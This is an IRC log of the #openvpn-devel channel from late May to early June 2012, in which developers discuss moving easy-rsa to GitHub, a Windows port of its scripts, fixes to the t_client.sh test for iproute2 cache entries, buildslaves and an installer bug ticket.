[~Michael@2001:6f8:1c60:7777:21a:4dff:fe66:600c] has quit [Quit: Verlassend] 12:06 -!- dazo is now known as dazo_afk 12:42 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 12:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:51 < ender|> i ported pkitool and the rest of easy-rsa 2.0 to Windows (cmd scripts): http://eternallybored.org/misc/openvpn/ 12:51 <@vpnHelper> Title: Index of /misc/openvpn (at eternallybored.org) 12:59 <@mattock> enderj: that's neat! 12:59 <@mattock> do you happen to use GitHub? 13:00 <@mattock> we split easy-rsa into a separate subproject... maybe you'd be interested in being part of it? https://github.com/OpenVPN/easy-rsa 13:00 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com) 13:03 < ender|> that explains why i couldn't find easy-rsa in openvpn's repo 13:05 < ender|> i'm not on github yet (i think), but it shouldn't be a problem to create an account 13:07 <@mattock> that'd be great! 13:07 <@mattock> one reason for splitting easy-rsa and some other parts from openvpn core was to help people contribute more easily 13:38 < ecrist> I've been thinking of jumping on the easy-rsa bandwagon, rewrite it all in sh 13:39 <@mattock> ecrist: would it be easy-rsa anymore? 13:39 <@mattock> just rewrite, or also rethink? 13:39 < ecrist> well, someday, I want to rewrite ssl-admin in C 13:40 < ecrist> in all honestly, I would love to see easy-rsa go away, and be completely rewritten 13:40 < ecrist> the biggest beef people have with ssl-admin is that it's written in perl 13:40 <@mattock> does this mean you would like to be a member in the "OpenVPN" organization on GitHub? :) 13:41 <@mattock> and a easy-rsa maintainer? 13:41 <@mattock> or developers, whichever title you prefer :P 13:41 < ecrist> sure 13:41 <@mattock> ah, great! 13:41 < ecrist> developer is suitable 13:41 <@mattock> do you have an account already? 13:41 < ecrist> no, I'm creating an account now 13:41 <@mattock> nice! 13:42 <@mattock> let me know what it is and I'll add you 13:42 < ecrist> done, ecrist 13:43 < ecrist> mattock: you know it's just a matter of time before I'm more involved than I already am 13:43 <@mattock> ecrist: are you going to rewrite whole openvpn in Perl? :P 13:43 < ecrist> no, PHP 13:44 <@mattock> ah, well that's ok 13:44 < ecrist> heh 13:44 <@mattock> especially for a security project 13:44 < ecrist> either that or sh 13:44 <@mattock> yeah, sh implementation would not hurt, either... very efficient and scales well 13:44 < ecrist> OpenVPN implemented in Bourne Shell with sed, awk, grep and cat 13:44 <@mattock> I'd use that! 13:44 < ender|> ok, i got the repo on github: https://github.com/jernejs/easy-rsa 13:44 <@vpnHelper> Title: jernejs/easy-rsa · GitHub (at github.com) 13:45 <@mattock> enderj: nice! 13:46 <@mattock> takes a while to see how this GitHub thingy works... 13:47 <@mattock> ecrist: try now 13:48 <@mattock> ecrist: is "committers" the correct spelling? 13:48 <@mattock> or "commiters"? 13:48 <@mattock> or something else? 13:48 < ecrist> first 13:48 <@mattock> ok 13:49 < ecrist> ah, and there I am! 13:50 < ecrist> so, we've moved to github, instead of our trac? 13:50 <@mattock> yep, you should have write access to the easy-rsa repo 13:50 < ecrist> yeah, it says I do 13:50 <@mattock> nope, not really... just the Git repos are there 13:51 < ecrist> ok 13:51 <@mattock> and I think it's nice that one can give more fine-grained access to, say, easy-rsa than previously 13:54 <@mattock> ender|: it's getting late here, but I'll make sure your easy-rsa port is discussed tomorrow 13:54 <@mattock> can you hang around here tomorrow, too? perhaps you could join ecrist and help keep easy-rsa updated and improved 13:55 <@mattock> ecrist: is krzee also interested in poking at easy-rsa? 13:55 < ender|> ok. it's late here, too, but i'm more of a night bird anyway :) 13:55 <@mattock> yeah, I'm at UTC+3 13:55 < ecrist> mattock: is there IMAP access for openvpn email? 13:55 <@mattock> yes, so you did get the account? 13:55 <@mattock> I can give you configuration details 13:56 < ender|> UTC+2 for me 13:56 < ecrist> yeah, I got an account, raidz got it all configured, and the A/AAAA records 13:56 < ecrist> cron2 got access to the new test server, as well 13:56 < ecrist> if I need more accounts on the test server, let me know, I'm doing ssh pubkey auth only from the outside on that machine 14:01 <@mattock> I assume I have an account there? 14:02 <@mattock> I had one, so if the server was not rebuilt in last few days, I should be ok 14:04 < ecrist> you don't have an account on the new test server, yet, but send me a public ssh key and I'll get you access now 14:04 <@mattock> ok, just a sec 14:06 <@mattock> sent 14:31 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:29 <@cron2> mattock: a completely new server. I have copied over your /root/easy-rsa/ though 16:01 -!- novaflash is now known as novaflash_away 19:56 * ecrist starts learning git 20:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jun 01 2012 00:59 -!- dazo_afk is now known as dazo 01:26 <@mattock> cron2: ok, so keys won't need to be regenerated 01:30 <@mattock> dazo: can you send me the summary of "lost meeting"? 01:33 <@dazo> mattock: Yeah, I can ... but it's the chatlogs I have, not the summaries ;-) 01:34 <@dazo> mattock: I need a little time to extract it, but I have all 01:34 * dazo need to run for breakfast 01:39 <@cron2> good mornin' 01:39 < ender|> morning 01:52 <@dazo> g'day :) 02:35 <@mattock> hi all 02:47 <@mattock> dazo: I'll summarize the "lost meeting" now and mail it 02:48 <@dazo> thx! 02:50 -!- DomiX [56404022@gateway/web/freenode/ip.86.64.64.34] has joined #openvpn-devel 02:57 < DomiX> Hi, sorry to ask here but I can't find an anwser, how can I be invited to ##openvpn channel please? 02:58 <@dazo> DomiX: get yourself a real IRC client ... then you'll have access there 02:58 <@dazo> DomiX: there are so much noise on #openvpn from people using the web gateway, that it was decided to ban all gateway/web/freenode users 02:59 < DomiX> ok, no problemo, thanks for the info, I wasn't aware of problem using the webirc plugin 03:00 <@dazo> DomiX: chatzilla might be an alternative, if you really want it in firefox 03:00 -!- novaflash_away is now known as novaflash 03:01 < DomiX> dazo: indeed, I forgot this plugin :) 03:01 < DomiX> brb 03:01 -!- DomiX [56404022@gateway/web/freenode/ip.86.64.64.34] has quit [Quit: Page closed] 03:03 <@mattock> dazo: I see why I didn't write the summary of the 29th Mar 2012 meeting... it was not an official meeting 03:03 <@mattock> I'll write a brief summary still 03:04 <@dazo> yeah, it was a meeting where there were made decisions, so that kind of should be public 03:04 <@mattock> yep 03:04 <@mattock> I'll see what the important parts were 03:58 <+krzee> mattock, i decided to leave easy-rsa alone, im going to write some bash code but it will behave more simply and i'll build it into my confgen 04:00 <+krzee> by more simply, i mean it'll assume things about the setup, no intermediate CA support and stuff 04:00 <+krzee> it'll assume the most common setup, and just spit out crts/keys 04:02 <@mattock> krzee: ok 04:03 <@mattock> second summary sent, nasty job, especially after having forgotten all about the topics 04:03 <@mattock> :P 05:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:33 <@vpnHelper> RSS Update - testtrac: repair t_client.sh test after build system revolution <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=47c990009c79fe2a96206c54e0240cb2dd8cdf02> 05:39 <@dazo> cron2: mattock: ^^ the fire is lit ... lets see if it explodes 05:39 <@mattock> I don't think so 05:40 <@dazo> I honestly hope you're right 05:41 <@cron2> dazo: I'll not stir it, but focus on my buildslaves instead, and on writing documentation for mattock how to integrated that into his buildslaves 05:42 <@dazo> cron2: that makes sense .... if some replies comes, I'll probably just send it to /dev/null 05:42 <@dazo> but now the blocker you two had should be solved 06:06 <@cron2> dazo: btw, how do I get a "git clone" repository fully cleaned? 06:07 <@cron2> I recently had the problem that after a git pull, autoreconf didn't properly regenerate some things, so the resulting configure didn't work - throwing out everything in autm4te.cache and running autoreconf fixed things 06:07 <@cron2> git reset --hard only seems to clean up stuff that "is known to git", right? 06:09 <@cron2> .oO("autoreconf -vi -f" might do the job, tho) 06:18 <@mattock> cron2: reset only touches files managed by Git, yes 06:19 <@mattock> why not just do a new "git clone" to another directory? 06:19 <@mattock> and then push any changes on top of that, if necessary 06:19 <@cron2> yeah, I could do that, but so far it was sufficient to do git pull/git merge to get everything merged properly 06:19 <@cron2> but autoreconf "-f" indeed seems to be what I missed 06:19 <@cron2> "rebuild everything!" 06:20 <@mattock> ok, good 06:26 <@dazo> you have 'make maintainer-clean' which should clean up most of the autotools stuff, iirc 06:28 <@dazo> and you have a more dangerous git command ... git clean ... I'd recommend to read the man page first (man git-clean) 06:30 <@cron2> "make maintainer-clean" won't work, as there is no makefile in the git tree - I run configure in a separate build directory... 06:35 <@cron2> humm 06:35 <@cron2> just how long does it take for the server to write new client assignments to ipp.txt... *waiting* 06:35 <@dazo> cron2: I think the default is 60 sec 06:35 <@dazo> but it's tunable 06:36 <@cron2> *lookmanpage* 06:36 <@cron2> argh 06:36 <@cron2> default=600 06:36 <@dazo> 10 minutes, ahh! 06:50 <@cron2> mattock, dazo: you have mail :-) 06:51 <@cron2> t_client setup documentation, verified step-by-step on fbsd82 now 06:56 <@dazo> cron2: ecrist: can you provide me with key files and I'll run these tests before I push out git changes as well 06:57 <@cron2> dazo: mattock is the one who originally did all the keys, but I should be able to get that done. What CN do you want? 06:58 <@dazo> cron2: what about: dazo git sanity tests 06:58 <@cron2> dazo: I'll do something without blanks :) 06:58 <@dazo> no prob :) 06:59 <@dazo> I probably would need the t_client.rc config as well, I presume 07:00 <@cron2> yeah, sending it right away, faster than waiting for ecrist to create an account for you (I assume he's sleeping) 07:00 <@cron2> dazo: C=, L=...? 07:00 <@cron2> "just for completeness" :) 07:00 <@dazo> C=NO, L=Oslo ... that's fine 07:03 <@cron2> dazo: mail sent 07:03 <@dazo> thx! 07:04 <@cron2> I need to leave for a radio interview in a few minutes (they have discovered IPv6...), but will be back at about 4 pm (CEST) 07:04 <@dazo> cool! good luck! 07:06 <@cron2> looking forward to hear whether t_client.sh/t_client.rc is working for anybody else :-) - I think so far nobody but me has ever bothered to set it up. Indeed it is quite some work to get things in place for the first time... 07:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:14 * dazo wonders where cron2's mail disappeared .... 07:14 <@cron2> this one went to dazo@users.sourceforge.net 07:15 <@dazo> goodie ... then it's sf.net which are slow 07:15 <@cron2> re-sent to tophemmelig 07:15 <@dazo> thx 07:15 <@cron2> ok, away now 07:16 * ecrist is now awake 07:16 <@dazo> got the mail now 07:16 < ecrist> dazo: did cron2 get you setup for whatever account you needed? 07:17 <@dazo> ecrist: I think so :) about to test it now :) 07:25 <@dazo> cool! seems to work perfectly fine! 07:35 <@dazo> okay ... might need to investigate some of the issues ... might be related to me running 3 openvpn tunnels already, with quite some routing tables 07:41 <@vpnHelper> RSS Update - testtrac: build: detect sys/wait.h required for *bsd <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f641637a73663dc44d9ef2c3fe82ea557d3cda02> || build: insall README* document using build system <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=46977f29077521802f0cb6ab3cd4c894b9d4f5f6> || build: spec: we support openssl >= 0.9.7 <ht 07:49 < ecrist> so, do we use both sourceforge AND github now? 08:16 <@dazo> ecrist: there's been request to have github, so we've added that in addition 08:17 <@dazo> for me, it's the same push procedure, so there's no extra cost in spreading out 08:17 <@dazo> ecrist: you can choose yourself what you want to use as your base ... so full freedom :) 08:31 < ecrist> gotcha 08:39 -!- rommel092079 [b816b6f5@gateway/web/freenode/ip.184.22.182.245] has joined #openvpn-devel 08:41 <@vpnHelper> RSS Update - testtrac: build: add git revision to --version output if build from git repository <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=7046ff20f93eca1d850df43fe716922e6d105c1c> 08:42 < rommel092079> i know i am not welcome here but i just want to express that how will we use openvpn if its traffic is being filtered like by opendpi/epoque. all other vpn provider can state that their vpn is also for bypass and anti censorship so i guess my question is not somewhat taboo. 08:45 < rommel092079> please help. i am asking help. 08:52 < ecrist> this isn't the channel for questions such as those 08:52 < ecrist> go to #openvpn 08:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:53 <@ecrist> you, yourself are not banned from the main channel, we ban ALL web clients 08:53 * dazo see that his ignore rule works 08:54 <@ecrist> please use a different (real) IRC client and connect that way 08:54 -!- mode/#openvpn-devel [+b *!*@gateway/web/freenode/*] by ecrist 08:54 <@ecrist> hehe 08:54 <@ecrist> and now the web shall fail to be a problem here, as well 08:54 <@dazo> :) 09:01 <@cron2> dazo: so which tests have been failing for you? 09:02 <@dazo> cron2: it was something about comparing the routing tables before and after 09:03 <@cron2> this is basically the "will openvpn clean up everything after it ends?" check 09:03 <@cron2> now, if you fire up something *else* that changes routing tables or interfaces *while the test runs*, this will be a false positive... :-) - so you need to look at the diff to see what happened 09:03 <@dazo> I'll run another round now, to be 100% sure 09:06 <@dazo> FAIL: differences between pre- and post-ifconfig/route 09:06 <@dazo> cron2: ^^ 09:07 <@cron2> meh 09:08 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 1 voices, 11 normal] 09:08 <@cron2> this is a false positive due to linux reporting "ip cache" entries here, which have more to do with "what web site have you been visiting in the meantime" than with openvpn 09:09 <@cron2> is this "ifconfig" or "ip"? 09:09 <@dazo> cron2: if ip is preferred over ifconfig, then "ip" ... I have both 09:10 <@cron2> it depends on what "configure" did :-) - can you /query me the output of the <n>:ifconfig_route_post.txt file for the failed test? 09:11 <@dazo> sure can do 09:15 <@cron2> it looks as if "ip" is including the output of "ip -6 route show cache" in that file, and not only "ip -6 route show" 09:15 -!- rommel092079 [b816b6f5@gateway/web/freenode/ip.184.22.182.245] has quit [Quit: Page closed] 09:17 <@dazo> cron2: your theory makes some sense 09:17 <@dazo> because it's not always failing 09:17 <@cron2> what I don't understand is why you are seeing these "cache" entries in the default call to "ip -6 route show" 09:18 <@cron2> (not that the "man ip" man page would mention "show cache" with any word) 09:20 <@dazo> it does somehow indicate something 09:20 <@cron2> we can workaround that in t_client.rc (call "ip -o -6 route show | grep -v ' cache' | sed...") but it should not be there in the first place... 09:21 <@dazo> it takes 'table all' by default, how I understand it ... and there's a separate 'cache' table which is included then 09:21 <@dazo> but by defining a specific table, you can avoid it 09:21 <@dazo> cached list cloned routes i.e. routes which were 09:21 <@dazo> dynamically forked from other routes because 09:21 <@dazo> some route attribute (f.e. MTU) was updated. 09:21 <@dazo> Actually, it is equivalent to table cache. 09:22 <@cron2> my "ip" here doesn't show caches even with "table all" - but not specifying a table has slightly different output than "table all"... 09:23 <@cron2> do you see the cache entries with "table all"? 09:24 <@dazo> cron2: yeah, on a separate line 09:24 <@cron2> funny. what kernel and "ip" version is that? gentoo here, iproute2-ss120319, 2.6.39 09:25 <@dazo> iproute-2.6.35-9.fc14.x86_64 09:25 <@cron2> which doesn't particularily tell us anything :-) 09:25 <@cron2> ok, so please try this patch: 09:26 <@dazo> $ ip -V 09:26 <@dazo> ip utility, iproute2-ss100804 09:26 <@dazo> so definitely older :) 09:27 <@cron2> http://pastebin.com/vyAGA5En 09:27 <@cron2> "-o" is "output on single line", and then just grep away the "cache" lines 09:29 * dazo tries 09:37 <@dazo> cron2: nope, didn't fully fix it ... will post again ... but need to go soonish too 09:38 <@dazo> cron2: the same url as before is updated now 09:39 <@dazo> cron2: could it be an idea to filter on device? 09:49 <@cron2> dazo: why are you still seeing "cache" lines at all??? they should be filtered 09:49 <@dazo> don't tell me I was that blind 09:49 <@cron2> I don't want to filter by device, as some of the platforms "fall over" - you close tun without removing routes, and the addresses show up on lo0 afterwards 09:50 * dazo double checks 09:50 * cron2 needs to go clean baby diapers anyway :) 09:51 <@dazo> duh! t_client.sh hadn't been regenerated for some reasons :/ 09:56 <@cron2> heh :) 09:58 <@dazo> that seemed to solve it 10:00 <@dazo> cron2: is the IPv4 and IPv6 addresses fixed for my client setup? 10:09 <@cron2> dazo: yes, the server instances all run with ippool-persist 10:10 <@cron2> ok, I'll send the patch to the list 10:10 <@dazo> thx! 10:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:46 -!- dazo is now known as dazo_afk 10:54 <@vpnHelper> RSS Update - testtrac: t_client.sh iproute2 script fixes <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=722027a2798b46cab8be69a830eff1b4ba678739> 11:01 <+krzee> whats @IPROUTE@ in a shell script!? 11:18 < ender|> i made a few minor fixes to my easy-rsa windows port today: https://github.com/jernejs/easy-rsa/tree/master/easy-rsa/Windows%202.0 11:18 <@vpnHelper> Title: easy-rsa/easy-rsa/Windows 2.0 at master · jernejs/easy-rsa · GitHub (at github.com) 11:23 <@cron2> krzee: that's substituted by "configure" with the path to "/usr/bin/ip" on Linux - or "empty" on non-linux/non-iproute2-linux systems 11:24 <+krzee> ohhh 11:24 <+krzee> placeholder, gotchya 11:56 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:36 <@mattock> ender|, ecrist: have you discussed how / if you could merge your easy-rsa work together? 13:59 <@ecrist> nope, not yet 15:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:37 -!- dazo_afk is now known as dazo 15:39 <@dazo> ender|: I don't intend to be a complete jerk and bastard (but you're free to call me that, if you feel like it ;-)) ... but it would be great if you could base your changed upon the final official easy-rsa tree 15:40 < ender|> is that any different than what i used? 15:41 <@dazo> it shouldn't be much file-wise changes ... I suspect you can easily use git format-patch and apply those patches directly on-top of the new official one 15:42 <@dazo> but I have not cared about the autotools stuff alon added, and such stuff 15:42 <@dazo> the trouble with the tree Alon based things upon, is that it has completely rewritten the whole history, so the history is rather useless - as all commit references have changed 15:43 < ender|> which is the final official tree? 15:44 <@dazo> I've replaced the old one today with the new one ... https://github.com/OpenVPN/easy-rsa/ 15:44 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com) 15:44 < ender|> oh 15:45 <@dazo> I'm sorry it's taken me so much time to prepare this tree ... but I saw it was highly needed now ... people seem to start looking at this again 15:49 <@dazo> oh, I see Samuli have ACKed some of Alon's patches for easy-rsa ... well, it's just four of them ... http://thread.gmane.org/gmane.network.openvpn.devel/5799/focus=5808 15:49 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:50 <@dazo> ecrist: would you care to look through these patches and ACK what makes sense for you to pull in? I can pull them in, unless you want to pull it into your tree first 15:50 < ender|> ok, the only code difference seems to be in whichopenssl, where my detect logic is slightly different 15:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:51 <@dazo> ender|: and that's only in the 2.0/ directory 15:53 <@dazo> If I can influence the choice of the new pony ... I'd like to see the 1.0/ directory going away ... and if possible a merger between 2.0/ and Windows/ ... at least share what can be common 15:54 < ender|> well, only the readme can be shared 15:55 <@dazo> ahh, okay ... well, sharing that one does make some sense, tbh 15:55 < ender|> the scripts are almost but not completely different 15:56 <@dazo> ecrist: btw ... I do have some hackerish scripts to simplify adding these "Acked-by:", "Message-Id:" and "URL:" lines to the commit messages ... so if you're interested, let me know 15:57 <@dazo> (they use the mail with the mail-headers + patch as input, and extracts all from there) 15:57 < ender|> (you can see where everything came from, but the windows command shell is nothing like sh) 15:57 <@dazo> yeah, I'm not too much surprised though :) 15:58 <@dazo> ender|: you're having WinXP as the oldest supported platform for the cmd scripts? 15:58 < ender|> i should actually test them on XP and 2000 - i don't think i used anything that's not supported there, but i should check anyway 15:59 <@dazo> you don't need to care for 2000, tbh ... we dropped that support with 2.1.4 15:59 < ender|> oh 15:59 <@dazo> WinXP is next to go, when Microsoft EOLs it 16:00 < ender|> hah 16:00 <@dazo> http://windows.microsoft.com/en-us/windows/products/lifecycle 16:00 <@vpnHelper> Title: Windows lifecycle fact sheet - Microsoft Windows (at windows.microsoft.com) 16:00 < ender|> i know 16:00 < ender|> xp should've been dead by now 16:00 <@dazo> April 8, 2014 is the date Microsoft have set 16:01 <@dazo> so it's barely less than 2 years ;-) 16:01 < ender|> do you support pre-SP3? 16:02 <@dazo> We have some requirements there ... but if it's SP2 or SP3, I don't recall ... that's related to IPv6 support ... 16:02 <@dazo> but! 16:02 <@dazo> In my eyes, only supporting the latest SP makes more sense to me 16:03 < ender|> i dropped pre-SP3 support in GIMP (because i don't have time to test there, and weird stuff seems to be happening without SP3 anyway), and some people whined 16:03 <@dazo> cron2: ^^ Do you remember? 16:04 < ender|> booting XP 16:04 <@dazo> yeah, WinXP 64bit only got SP2 ... there's no SP3 there ... so I wonder what makes SP2 and SP3 differ 16:04 < ender|> btw, the installer has a bug: if you deselect openvpn GUI, it still creates the desktop icon 16:05 < ender|> XP x64 is 2003 kernel 16:05 < ender|> (5.02, not 5.01) 16:05 <@dazo> mattock: ^^^ 16:05 <@dazo> ender|: if you could file a Trac bug on that, we won't forget it :) 16:06 < ender|> sure 16:06 <@dazo> https://community.openvpn.net/openvpn/newticket ... but you need to have an account and be logged in 16:07 < ender|> registering now 16:09 < ender|> ...great, the form doesn't accept my email address 16:10 <@dazo> yuck! mattock ^^ more for you :) 16:10 <@dazo> what's the error? 16:10 < ender|> Email Address is not a valid email address 16:10 < ender|> i have + in it 16:14 <@dazo> ahh, might be the reason indeed 16:15 <+krzee> + *is* valid tho (should be) 16:15 < ender|> i registered with my alternate address, but that's my work address 16:16 < ender|> krzee: &#/|@eternallybored.org is a valid address, too 16:17 <@dazo> krzee: it might be the LDAP registration front-end which is picky 16:19 <+krzee> aye, likely 16:19 < ender|> + at least should be allowed - it's the usual extension separator 16:20 <@dazo> yeah 16:20 <+krzee> yep 16:26 < ender|> yay: Submission rejected as potential spam (Akismet says content is spam) 16:27 <@dazo> ender|: ugh ... you need to set your name in Preferences, I believe 16:28 < ender|> ok, that worked 16:28 < ender|> https://community.openvpn.net/openvpn/ticket/212 16:28 <@vpnHelper> Title: #212 (Windows installer places OpenVPN GUI shortcut even when GUI isn't installed) – OpenVPN Community (at community.openvpn.net) 16:29 <@dazo> cool, thx! 16:33 * dazo calls it a day now :) 16:33 <@vpnHelper> RSS Update - testtrac: Remove two unused functions <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e8298885350131ce453da54a1b07495253ee1508> || build: cleanup: yet another forgotten brackets <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6440083e2ae0d71b0f02c8fd44446ea1fbd6e3a7> 16:33 <@vpnHelper> RSS Update - tickets: #212: Windows installer places OpenVPN GUI shortcut even when GUI isn't installed <https://community.openvpn.net/openvpn/ticket/212> 16:34 -!- dazo is now known as dazo_afk 16:41 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 20:00 -!- waldner [waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 21:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Jun 02 2012 01:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 01:47 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:01 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:01 -!- mode/#openvpn-devel [+o andj__] by ChanServ 02:03 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 265 seconds] 02:03 -!- andj__ is now known as andj 02:03 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Client Quit] 02:04 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 02:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:43 -!- dazo_afk is now known as dazo 03:59 -!- dazo is now known as dazo_afk 05:41 <@cron2> *grumble* "--dev tap" is still broken on OpenBSD 05:47 <@cron2> ("--dev tun --dev-type tap" works... there is no /dev/tapX on OpenBSD, but you need to "ifconfig" the tun into tap mode...) 07:02 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 07:04 * plaisthos found a new 'feature' of route-nopull, it also ignores dhcp-option 07:26 <@cron2> mattock: can you please put "cron2-osol10" into the community VPN LDAP group? building on an opensolaris 10 buildslave 07:49 < plaisthos> hm git send-email had an unexpected behavior :/ 07:50 < plaisthos> splitting the commit message into subject and body 08:09 < plaisthos> now let wait and see what happens :) 09:02 < plaisthos> someone broke the build on os x :( 11:13 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: Lost terminal] 11:43 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 13:16 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: Lost terminal] 15:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:50 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has quit [Quit: self.exit(:stage=>:left)] 21:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jun 03 2012 04:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 04:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jun 04 2012 01:25 <@mattock> cron2: I'll add the opensolaris buildslave after reading my emails 01:26 <@cron2> \o/ 01:27 <@cron2> (I do not have much time today anyway, so take your time :) ) 02:08 <@mattock> ok 02:50 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 244 seconds] 03:03 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 06:31 <@vpnHelper> RSS Update - testtrac: build: support platforms that does not need explicit tun headers <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=05f16e84314d83d81aa341ad2c6ea706603befd6> || build: update INSTALL to recent changes <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e4d6066229e6f58399f177c4e8fa0cd6dfb59f0a> 11:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 11:28 -!- Netsplit *.net <-> *.split quits: @mattock, uuuppz, @d12fk, @cron2, @vpnHelper, trout, chantra_, novaflash 11:29 -!- Netsplit *.net <-> *.split quits: maxb, ender|, @dazo_afk, jamxNL 11:31 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 11:31 -!- Netsplit over, joins: trout, @mattock, @dazo_afk, novaflash, @vpnHelper, uuuppz, ender|, chantra_, jamxNL, @d12fk (+2 more) 14:19 -!- novaflash is now known as novaflash_away 15:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 17:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:03 -!- novaflash_away is now known as novaflash 19:28 <@ecrist> ping mattock 19:30 <@ecrist> or dazo 19:30 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 1 voices, 8 normal] 20:21 -!- novaflash is now known as novaflash_away 21:31 <@ecrist> can I get write access to git? whole damn thing would be great, thanks. :) 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Tue Jun 05 2012 01:23 -!- novaflash_away is now known as novaflash 10:46 <@mattock> ecrist: you should have write access to GitHub easy-rsa repository already 11:20 <@ecrist> mattock: I don't, I have access to easy-rsa-old, dazo changed things around on me. 13:37 <@cron2> solaris buildbot is up... let's see... :) 13:44 <@cron2> ignore the two fail mails... 13:44 <@cron2> mattock: your buildbots still fail polarssl configure... 13:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:55 -!- krzee 